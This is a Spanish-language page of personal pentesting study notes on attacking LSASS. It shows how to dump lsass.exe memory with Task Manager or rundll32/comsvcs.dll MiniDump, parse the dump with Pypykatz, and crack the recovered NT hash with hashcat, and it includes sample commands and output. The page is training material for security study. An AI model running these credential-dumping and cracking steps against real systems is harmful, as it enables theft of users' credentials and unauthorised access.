beafn28
  • 👩‍💻¡Bienvenidos a mi HackBook!
  • WRITEUPS
    • DockerLabs
      • BuscaLove
      • Amor
      • Injection
      • BorazuwarahCTF
      • Trust
      • Picadilly
      • Pinguinazo
      • AguaDeMayo
      • BreakMySSH
      • NodeClimb
      • Move
      • Los 40 ladrones
      • Vulnvault
      • Pntopntobarra
      • Library
      • Escolares
      • ConsoleLog
      • Vacaciones
      • Obsession
      • FirstHacking
      • SecretJenkins
      • HedgeHog
      • AnonymousPingu
      • ChocolateLovers
      • Dockerlabs
      • Pressenter
      • Candy
      • JenkHack
      • ShowTime
      • Upload
      • Verdejo
      • WalkingCMS
      • WhereIsMyWebShell
      • Whoiam
      • Winterfell
      • -Pn
      • Psycho
      • Mirame
      • Backend
      • Paradise
      • Balurero
      • Allien
      • Vendetta
      • FindYourStyle
      • Stellarjwt
      • File
      • Redirection (Por completar)
      • Extraviado
      • Patriaquerida
      • Tproot
      • Internship
      • Walking Dead
      • Bicho (Por completar)
      • BaluFood
    • TryHackMe
      • Brooklyn Nine Nine
      • Blue
    • HackTheBox
      • Nibbles
      • Starting Point
        • Meow
        • Fawn
        • Dancing
        • Redeemer
        • Appointment
        • Sequel
        • Crocodile
        • Responder
        • Three
        • Archetype
        • Oopsie
        • Vaccine
        • Unified
        • Explosion
        • Preignition
        • Mongod
        • Synced
        • Ignition
        • Bike
        • Funnel
        • Pennyworth
        • Tactics
        • Included
        • Markup
        • Base
      • BoardLight
      • Cap
      • TwoMillion
      • Lame
      • Legacy
      • Devel
      • Beep
      • Optimum
      • Arctic
      • Jerry
      • Sau
      • GoodGames
      • Challenges
        • Emdee five for life
        • MarketDump
      • Intro to Dante
      • Heist
      • OpenAdmin
      • Nest
      • Curling
    • Vulnhub
      • Wakanda
      • Election (Por terminar)
    • The Hacker Labs
      • Avengers
      • Can you hack me?
      • Fruits
      • Microchoft
      • TickTakRoot
      • Grillo
      • Mortadela
      • Zapas Guapas
      • Sal y Azúcar
      • Cyberpunk
      • Papafrita
      • PizzaHot
      • Decryptor
      • Academy
      • Cocido andaluz
      • Find Me
      • Quokka
      • Campana Feliz
      • Bocata de Calamares
      • Casa Paco
      • Torrijas
    • Vulnyx
      • Fuser
      • Blogguer
      • Lower
      • Exec
      • Diff3r3ntS3c
      • Hacking Station
      • Experience
      • Eternal
      • Agent
      • Infected
      • Admin
      • War
      • Hosting
    • OverTheWire
      • Natas
        • Nivel 0-5
        • Nivel 6-11
        • Nivel 12-17
        • Nivel 18-23
        • Nivel 24-29
        • Nivel 30-34
      • Leviathan
        • Nivel 0-7
      • Krypton
      • Bandit
        • Nivel 0-10
        • Nivel 11-20
        • Nivel 21-30
        • Nivel 31-34
    • Proving Ground Play
      • Monitoring
      • DriftingBlues6
  • APUNTES HACKING
    • Pentesting Basics
      • Web Enumeration
      • Public Exploits
      • Types of Shells
      • Privilege Escalation
      • Transfering Files
    • Network Enumeration with NMAP
      • Host Discovery
      • Host and Port Scanning
      • Saving the Results
      • Service Enumeration
      • Nmap Scripting Engine
      • Performance
      • Firewall and IDS/IPS Evasion
    • Footprinting
      • Domain Information
      • Cloud Resources
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP/POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Information Gathering - Web Edition
      • WHOIS
      • DNS
        • Digging DNS
      • Subdomains
        • Subdomain Bruteforcing
        • DNS Zone Transfers
        • Virtual Hosts
        • Certificate Transparency Logs
      • Fingerprinting
      • Crawling
        • robots.txt
        • Well-Known URIs
        • Creepy Crawlies
      • Search Engine Discovery
      • Web Archives
      • Automating Recon
    • Vulnerability Assessment
      • Vulnerability Assessment
      • Assessment Standards
      • Common Vulnerability Scoring System (CVSS)
      • Common Vulnerabilities and Exposures (CVE)
    • Nessus
      • Getting Started with Nessus
      • Nessus Scan
      • Advanced Settings
      • Working with Nessus Scan Output
      • Scanning Issues
    • OpenVAS
      • OpenVAS Scan
      • Exporting The Results
    • Reporting
    • File Transfers
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Catching Files over HTTP/S
      • Living off The Land
      • Detection
      • Evading Detection
    • Shells & Payloads
      • Anatomy of a Shell
      • Bind Shells
      • Reverse Shells
      • Payloads
        • Automating Payloads & Delivery with Metasploit
        • Crafting Payloads with MSFvenom
        • Infiltrating Windows
        • Infiltrating Unix/Linux
        • Spawning Interactive Shells
      • Introduction to Web Shells
        • Laudanum, One Webshell to Rule Them All
        • Antak Webshell
        • PHP Web Shells
      • Detection & Prevention
    • Metasploit
      • MSFConsole
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Databases
      • Plugins
      • Sessions
      • Meterpreter
      • Writing and Importing Modules
      • Introduction to MSFVenom
      • Firewall and IDS/IPS Evasion
    • Password Attacks
      • John The Ripper
      • Network Services
      • Password Mutations
      • Password Reuse / Default Passwords
      • Attacking SAM
      • Attacking LSASS
      • Attacking Active Directory & NTDS.dit
      • Credential Hunting in Windows
      • Credential Hunting in Linux
      • Passwd, Shadow & Opasswd
      • Pass the Hash (PtH)
  • WEB SECURITY
    • Path Traversal
    • SQL Injection
    • Control de Acceso
  • Mis CTFs
    • Pequeñas Mentirosas
    • CryptoLabyrinth
    • Elevator
    • Facultad
  • PREPARAR EJPTv2
    • Máquinas
    • Curso de Mario
      • Presentación + Preparación de Laboratorios
      • Conceptos Básicos de Hacking
      • Explotación de Vulnerabilidades y Ataques de Fuerza Bruta
      • Explotación vulnerabilidades Web
      • Enumeración y Explotación del Protócolo SMB, SAMBA, SNMP, IIS y RDP
      • Hacking Entornos CMS
      • Escalada de Privilegios + Post Explotación
      • Pivoting con Metasploit
  • Preparar OSCP
    • Información
    • Máquinas
      • Linux
        • Fácil
        • Medio
        • Difícil
      • Windows
        • Fácil
        • Medio
        • Difícil
Powered by GitBook
On this page
  • Método del Administrador de Tareas
  • Método con Rundll32.exe y Comsvcs.dll
  • Encontrar el PID de LSASS en cmd
  • Encontrar el PID de LSASS en PowerShell
  • Creando lsass.dmp usando PowerShell
  • Usando Pypykatz para Extraer Credenciales
  • Ejecutando Pypykatz
  • Información Útil en la Salida de Pypykatz
  • WDIGEST
  • Kerberos
  • DPAPI
  • Cracking del NT Hash con Hashcat

Was this helpful?

  1. APUNTES HACKING
  2. Password Attacks

Attacking LSASS

PreviousAttacking SAMNextAttacking Active Directory & NTDS.dit

Last updated 7 months ago

Was this helpful?

De forma similar al proceso de atacar la base de datos SAM, con LSASS, sería prudente primero crear una copia del contenido de la memoria del proceso LSASS a través de la generación de un volcado de memoria. Crear un archivo de volcado nos permite extraer credenciales de forma offline utilizando nuestro host de ataque. Teniendo en cuenta que llevar a cabo ataques offline nos da mayor flexibilidad en la velocidad del ataque y requiere menos tiempo en el sistema objetivo. Existen innumerables métodos que podemos usar para crear un volcado de memoria. Cubramos algunas técnicas que se pueden realizar usando herramientas ya integradas en Windows.

Método del Administrador de Tareas

Con acceso a una sesión gráfica interactiva en el objetivo, podemos usar el Administrador de Tareas para crear un volcado de memoria. Esto requiere que:

Pasos:

  1. Abrir el Administrador de Tareas.

  2. Seleccionar la pestaña de Procesos.

  3. Buscar y hacer clic derecho en el proceso Local Security Authority Process (lsass.exe).

  4. Seleccionar Crear archivo de volcado.

Se creará un archivo llamado lsass.DMP y se guardará en:

C:\Users\nombredelusuario\AppData\Local\Temp

Este es el archivo que transferiremos a nuestro host de ataque. Podemos usar el método de transferencia de archivos discutido en la sección de ataque a SAM para transferir el archivo de volcado a nuestro host de ataque.

Método con Rundll32.exe y Comsvcs.dll

El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI en el objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Este método es más rápido que el del Administrador de Tareas y más flexible, ya que podemos obtener una sesión de shell en un host de Windows con solo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.

Pasos:

  1. Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:

Encontrar el PID de LSASS en cmd

Desde cmd, podemos emitir el comando:

tasklist /svc

y encontrar lsass.exe y su ID de proceso en el campo PID.

C:\Windows\system32> tasklist /svc

Nombre de imagen                 PID Servicios
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
Registry                        96 N/A
smss.exe                       344 N/A
csrss.exe                      432 N/A
wininit.exe                    508 N/A
csrss.exe                      520 N/A
winlogon.exe                   580 N/A
services.exe                   652 N/A
lsass.exe                      672 KeyIso, SamSs, VaultSvc
svchost.exe                    776 PlugPlay
svchost.exe                    804 BrokerInfrastructure, DcomLaunch, Power,
                                   SystemEventsBroker
fontdrvhost.exe                812 N/A

Encontrar el PID de LSASS en PowerShell

Desde PowerShell, podemos emitir el comando:

Get-Process lsass

y ver el ID de proceso en el campo Id.

PS C:\Windows\system32> Get-Process lsass

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1260      21     4948      15396       2.56    672   0 lsass

Una vez que tengamos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.

Creando lsass.dmp usando PowerShell

Con una sesión de PowerShell elevada, podemos emitir el siguiente comando para crear el archivo de volcado:

PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

Con este comando, ejecutamos rundll32.exe para llamar a una función exportada de comsvcs.dll, que a su vez llama a la función MiniDumpWriteDump (MiniDump) para volcar la memoria del proceso LSASS en un directorio especificado (en este caso, C:\lsass.dmp). Es importante recordar que la mayoría de las herramientas antivirus modernas reconocen esto como actividad maliciosa y previenen la ejecución del comando. En estos casos, debemos considerar formas de evitar o desactivar el antivirus. Las técnicas para evadir antivirus están fuera del alcance de este módulo.

Si logramos ejecutar este comando y generar el archivo lsass.dmp, podemos proceder a transferir el archivo a nuestra máquina de ataque para intentar extraer cualquier credencial que pueda haber estado almacenada en la memoria del proceso LSASS.

Nota: Podemos usar el método de transferencia de archivos discutido en la sección de ataque a SAM para obtener el archivo lsass.dmp del objetivo a nuestro host de ataque.

Usando Pypykatz para Extraer Credenciales

Una vez que tengamos el archivo de volcado en nuestro host de ataque, podemos utilizar una poderosa herramienta llamada Pypykatz para intentar extraer credenciales del archivo .dmp. Pypykatz es una implementación de Mimikatz escrita completamente en Python. El hecho de que esté escrita en Python nos permite ejecutarla en hosts de ataque basados en Linux. En el momento de escribir este módulo, Mimikatz solo funciona en sistemas Windows, por lo que para usarlo, tendríamos que utilizar un host de ataque basado en Windows o ejecutarlo directamente en el objetivo, lo cual no es un escenario ideal. Esto hace que Pypykatz sea una alternativa atractiva, ya que solo necesitamos una copia del archivo de volcado, y podemos ejecutarlo offline desde nuestro host de ataque basado en Linux.

LSASS almacena credenciales de sesiones activas de inicio de sesión en sistemas Windows. Al volcar la memoria del proceso LSASS en un archivo, esencialmente tomamos una "instantánea" de lo que estaba en la memoria en ese momento. Si había sesiones activas, las credenciales utilizadas para establecerlas estarán presentes. Vamos a ejecutar Pypykatz contra el archivo de volcado y ver qué encontramos.

Ejecutando Pypykatz

El comando para iniciar Pypykatz y analizar los secretos ocultos en el volcado de memoria de LSASS es el siguiente. Usamos lsa en el comando porque LSASS es un subsistema de la autoridad de seguridad local, luego especificamos la fuente de datos como un archivo de minidump, seguido por la ruta del archivo de volcado (/home/peter/Documents/lsass.dmp) almacenado en nuestro host de ataque.

pypykatz lsa minidump /home/peter/Documents/lsass.dmp 

Pypykatz analiza el archivo de volcado y muestra los resultados:

INFO:root:Parsing file /home/peter/Documents/lsass.dmp
FILE: ======== /home/peter/Documents/lsass.dmp =======
== LogonSession ==
authentication_id 1354633 (14ab89)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54
	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

Información Útil en la Salida de Pypykatz

MSV

El MSV es un paquete de autenticación en Windows que LSA llama para validar intentos de inicio de sesión contra la base de datos SAM. Pypykatz extrae el SID, nombre de usuario, dominio, y los hashes de contraseña NT y SHA1 asociados con la sesión de inicio de sesión del usuario bob almacenada en la memoria del proceso LSASS.

== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8

WDIGEST

WDIGEST es un protocolo de autenticación más antiguo, habilitado por defecto en Windows XP - Windows 8 y Windows Server 2003 - Windows Server 2012. LSASS almacena las credenciales usadas por WDIGEST en texto plano, lo que significa que, si encontramos un sistema con WDIGEST habilitado, probablemente veremos una contraseña en texto claro.

== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None

Kerberos

Kerberos es un protocolo de autenticación en red usado por Active Directory en entornos de dominio de Windows. Las cuentas de usuario del dominio obtienen tickets tras autenticarse con Active Directory, que luego se utilizan para acceder a recursos compartidos en la red sin tener que ingresar las credenciales cada vez. LSASS almacena contraseñas, claves, tickets y pines asociados con Kerberos.

== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54

DPAPI

La Interfaz de Programación de Aplicaciones para la Protección de Datos o DPAPI es un conjunto de APIs en sistemas operativos Windows utilizadas para cifrar y descifrar blobs de datos DPAPI de forma individual por usuario, para características del sistema operativo Windows y varias aplicaciones de terceros. A continuación, algunos ejemplos de aplicaciones que usan DPAPI y lo que protegen con ella:

Aplicaciones

Uso de DPAPI

Internet Explorer

Datos de autocompletado de formularios de contraseñas (nombre de usuario y contraseña para sitios guardados).

Google Chrome

Datos de autocompletado de formularios de contraseñas (nombre de usuario y contraseña para sitios guardados).

Outlook

Contraseñas de cuentas de correo electrónico.

Remote Desktop Connection

Credenciales guardadas para conexiones a máquinas remotas.

Credential Manager

Credenciales guardadas para acceder a recursos compartidos, unirse a redes inalámbricas, VPNs, etc.

Mimikatz y Pypykatz pueden extraer la clave maestra DPAPI del usuario que inició sesión y cuyos datos están presentes en la memoria del proceso LSASS. Esta clave maestra puede usarse para descifrar los secretos asociados con cada una de las aplicaciones que usan DPAPI, lo que permite capturar credenciales de diversas cuentas. Las técnicas de ataque DPAPI se cubren con mayor detalle en el módulo de Escalada de Privilegios en Windows.

Cracking del NT Hash con Hashcat

Ahora podemos usar Hashcat para crackear el NT Hash. En este ejemplo, solo encontramos un hash NT asociado con el usuario Bob, lo que significa que no necesitamos crear una lista de hashes como lo hicimos en la sección de ataque a SAM de este módulo. Después de establecer el modo en el comando, podemos pegar el hash, especificar una lista de palabras, y luego intentar crackear el hash.

sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt

El intento de crackeo fue exitoso:

64f12cddaa88057e06a81b54e73b949b:Password1

Con esto, nuestro ataque se puede considerar un éxito.